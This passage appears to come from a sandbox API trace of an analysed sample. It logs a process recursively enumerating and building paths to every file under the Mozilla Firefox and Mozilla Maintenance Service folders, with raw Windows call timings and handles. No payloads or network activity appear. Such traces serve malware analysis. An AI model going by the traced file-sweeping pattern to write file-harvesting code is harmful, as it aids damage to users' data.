Firefox\\nssdbm3.chk" [0029.970] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.970] lstrcmpW (lpString1="nssdbm3.dll", lpString2=".") returned 1 [0029.970] lstrcmpW (lpString1="nssdbm3.dll", lpString2="..") returned 1 [0029.970] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.970] lstrlenW (lpString="nssdbm3.dll") returned 11 [0029.970] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssdbm3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" [0029.970] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned 50 [0029.970] lstrcpyW (in: lpString1=0x4647f8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" [0029.970] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.970] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0029.970] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0029.970] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.970] lstrlenW (lpString="omni.ja") returned 7 [0029.970] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" [0029.970] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned 46 [0029.970] lstrcpyW (in: lpString1=0x465618, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" [0029.970] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.970] lstrcmpW (lpString1="ones_pork_tommy_lb.exe", lpString2=".") returned 1 [0029.970] lstrcmpW (lpString1="ones_pork_tommy_lb.exe", lpString2="..") returned 1 [0029.970] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.970] lstrlenW (lpString="ones_pork_tommy_lb.exe") returned 22 [0029.970] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="ones_pork_tommy_lb.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" [0029.970] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned 61 [0029.970] lstrcpyW (in: lpString1=0x462248, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" [0029.970] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.970] lstrcmpW (lpString1="platform.ini", lpString2=".") returned 1 [0029.970] lstrcmpW (lpString1="platform.ini", lpString2="..") returned 1 [0029.970] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.970] lstrlenW (lpString="platform.ini") returned 12 [0029.970] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="platform.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" [0029.970] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned 51 [0029.970] lstrcpyW (in: lpString1=0x464868, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" [0029.970] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.970] lstrcmpW (lpString1="plugin-container.exe", lpString2=".") returned 1 [0029.970] lstrcmpW (lpString1="plugin-container.exe", lpString2="..") returned 1 [0029.970] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.970] lstrlenW (lpString="plugin-container.exe") returned 20 [0029.970] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="plugin-container.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" [0029.970] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned 59 [0029.970] lstrcpyW (in: lpString1=0x465680, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" [0029.970] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.971] lstrcmpW (lpString1="plugin-hang-ui.exe", lpString2=".") returned 1 [0029.971] lstrcmpW (lpString1="plugin-hang-ui.exe", lpString2="..") returned 1 [0029.971] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.971] lstrlenW (lpString="plugin-hang-ui.exe") returned 18 [0029.971] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="plugin-hang-ui.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" [0029.971] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned 57 [0029.971] lstrcpyW (in: lpString1=0x465700, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" [0029.971] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.971] lstrcmpW (lpString1="precomplete", lpString2=".") returned 1 [0029.971] lstrcmpW (lpString1="precomplete", lpString2="..") returned 1 [0029.971] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.971] lstrlenW (lpString="precomplete") returned 11 [0029.971] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="precomplete" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" [0029.971] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned 50 [0029.971] lstrcpyW (in: lpString1=0x4648d8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" [0029.971] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.971] lstrcmpW (lpString1="removed-files", lpString2=".") returned 1 [0029.971] lstrcmpW (lpString1="removed-files", lpString2="..") returned 1 [0029.971] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.971] lstrlenW (lpString="removed-files") returned 13 [0029.971] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="removed-files" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" [0029.971] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned 52 [0029.971] lstrcpyW (in: lpString1=0x460a38, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" [0029.971] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.971] lstrcmpW (lpString1="softokn3.chk", lpString2=".") returned 1 [0029.971] lstrcmpW (lpString1="softokn3.chk", lpString2="..") returned 1 [0029.971] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.971] lstrlenW (lpString="softokn3.chk") returned 12 [0029.971] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="softokn3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" [0029.971] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned 51 [0029.971] lstrcpyW (in: lpString1=0x464948, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" [0029.971] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.971] lstrcmpW (lpString1="softokn3.dll", lpString2=".") returned 1 [0029.971] lstrcmpW (lpString1="softokn3.dll", lpString2="..") returned 1 [0029.971] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.971] lstrlenW (lpString="softokn3.dll") returned 12 [0029.971] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="softokn3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" [0029.971] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned 51 [0029.971] lstrcpyW (in: lpString1=0x4649b8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" [0029.971] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.971] lstrcmpW (lpString1="uninstall", lpString2=".") returned 1 [0029.971] lstrcmpW (lpString1="uninstall", lpString2="..") returned 1 [0029.971] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.971] lstrlenW (lpString="uninstall") returned 9 [0029.971] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="uninstall" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall" [0029.971] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\" [0029.971] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0029.971] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*" [0029.971] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.972] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.972] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.972] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.972] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.972] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.972] lstrcmpW (lpString1="helper.exe", lpString2=".") returned 1 [0029.972] lstrcmpW (lpString1="helper.exe", lpString2="..") returned 1 [0029.972] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0029.972] lstrlenW (lpString="helper.exe") returned 10 [0029.972] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="helper.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" [0029.972] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned 59 [0029.972] lstrcpyW (in: lpString1=0x465780, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" [0029.972] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.972] lstrcmpW (lpString1="shortcuts_log.ini", lpString2=".") returned 1 [0029.972] lstrcmpW (lpString1="shortcuts_log.ini", lpString2="..") returned 1 [0029.972] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0029.972] lstrlenW (lpString="shortcuts_log.ini") returned 17 [0029.972] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="shortcuts_log.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" [0029.972] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned 66 [0029.972] lstrcpyW (in: lpString1=0x465800, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" [0029.972] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.972] lstrcmpW (lpString1="uninstall.log", lpString2=".") returned 1 [0029.972] lstrcmpW (lpString1="uninstall.log", lpString2="..") returned 1 [0029.972] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0029.972] lstrlenW (lpString="uninstall.log") returned 13 [0029.972] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="uninstall.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" [0029.972] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned 62 [0029.972] lstrcpyW (in: lpString1=0x4622d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" [0029.972] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.972] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.972] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.972] lstrcmpW (lpString1="update-settings.ini", lpString2=".") returned 1 [0029.972] lstrcmpW (lpString1="update-settings.ini", lpString2="..") returned 1 [0029.972] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.972] lstrlenW (lpString="update-settings.ini") returned 19 [0029.972] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="update-settings.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" [0029.972] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned 58 [0029.972] lstrcpyW (in: lpString1=0x465890, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" [0029.972] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.972] lstrcmpW (lpString1="updater.exe", lpString2=".") returned 1 [0029.973] lstrcmpW (lpString1="updater.exe", lpString2="..") returned 1 [0029.973] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.973] lstrlenW (lpString="updater.exe") returned 11 [0029.973] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="updater.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" [0029.973] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned 50 [0029.973] lstrcpyW (in: lpString1=0x464a28, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" [0029.973] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.973] lstrcmpW (lpString1="updater.ini", lpString2=".") returned 1 [0029.973] lstrcmpW (lpString1="updater.ini", lpString2="..") returned 1 [0029.973] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.973] lstrlenW (lpString="updater.ini") returned 11 [0029.973] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" [0029.973] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned 50 [0029.973] lstrcpyW (in: lpString1=0x464a98, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" [0029.973] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.973] lstrcmpW (lpString1="webapp-uninstaller.exe", lpString2=".") returned 1 [0029.973] lstrcmpW (lpString1="webapp-uninstaller.exe", lpString2="..") returned 1 [0029.973] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.973] lstrlenW (lpString="webapp-uninstaller.exe") returned 22 [0029.973] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapp-uninstaller.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" [0029.973] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned 61 [0029.973] lstrcpyW (in: lpString1=0x462358, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" [0029.973] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.973] lstrcmpW (lpString1="webapprt", lpString2=".") returned 1 [0029.973] lstrcmpW (lpString1="webapprt", lpString2="..") returned 1 [0029.973] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.973] lstrlenW (lpString="webapprt") returned 8 [0029.973] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapprt" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt" [0029.973] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\" [0029.973] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0029.973] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*" [0029.973] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.982] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.982] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.982] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.982] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.982] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.982] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0029.982] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0029.982] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0029.982] lstrlenW (lpString="omni.ja") returned 7 [0029.982] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" [0029.982] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned 55 [0029.982] lstrcpyW (in: lpString1=0x460ab0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" [0029.982] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.983] lstrcmpW (lpString1="webapprt.ini", lpString2=".") returned 1 [0029.983] lstrcmpW (lpString1="webapprt.ini", lpString2="..") returned 1 [0029.983] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0029.983] lstrlenW (lpString="webapprt.ini") returned 12 [0029.983] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="webapprt.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" [0029.983] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned 60 [0029.983] lstrcpyW (in: lpString1=0x4623e0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" [0029.983] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.983] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.983] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.983] lstrcmpW (lpString1="webapprt-stub.exe", lpString2=".") returned 1 [0029.983] lstrcmpW (lpString1="webapprt-stub.exe", lpString2="..") returned 1 [0029.983] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.983] lstrlenW (lpString="webapprt-stub.exe") returned 17 [0029.983] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapprt-stub.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" [0029.983] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned 56 [0029.983] lstrcpyW (in: lpString1=0x465910, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" [0029.983] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.983] lstrcmpW (lpString1="xul.dll", lpString2=".") returned 1 [0029.983] lstrcmpW (lpString1="xul.dll", lpString2="..") returned 1 [0029.983] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.983] lstrlenW (lpString="xul.dll") returned 7 [0029.983] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="xul.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" [0029.983] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned 46 [0029.983] lstrcpyW (in: lpString1=0x465990, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" [0029.983] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.983] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.983] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.983] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2=".") returned 1 [0029.983] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2="..") returned 1 [0029.983] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.983] lstrlenW (lpString="Mozilla Maintenance Service") returned 27 [0029.983] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Mozilla Maintenance Service" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service" [0029.983] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\" [0029.983] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0029.983] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*" [0029.983] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.985] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.985] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.985] 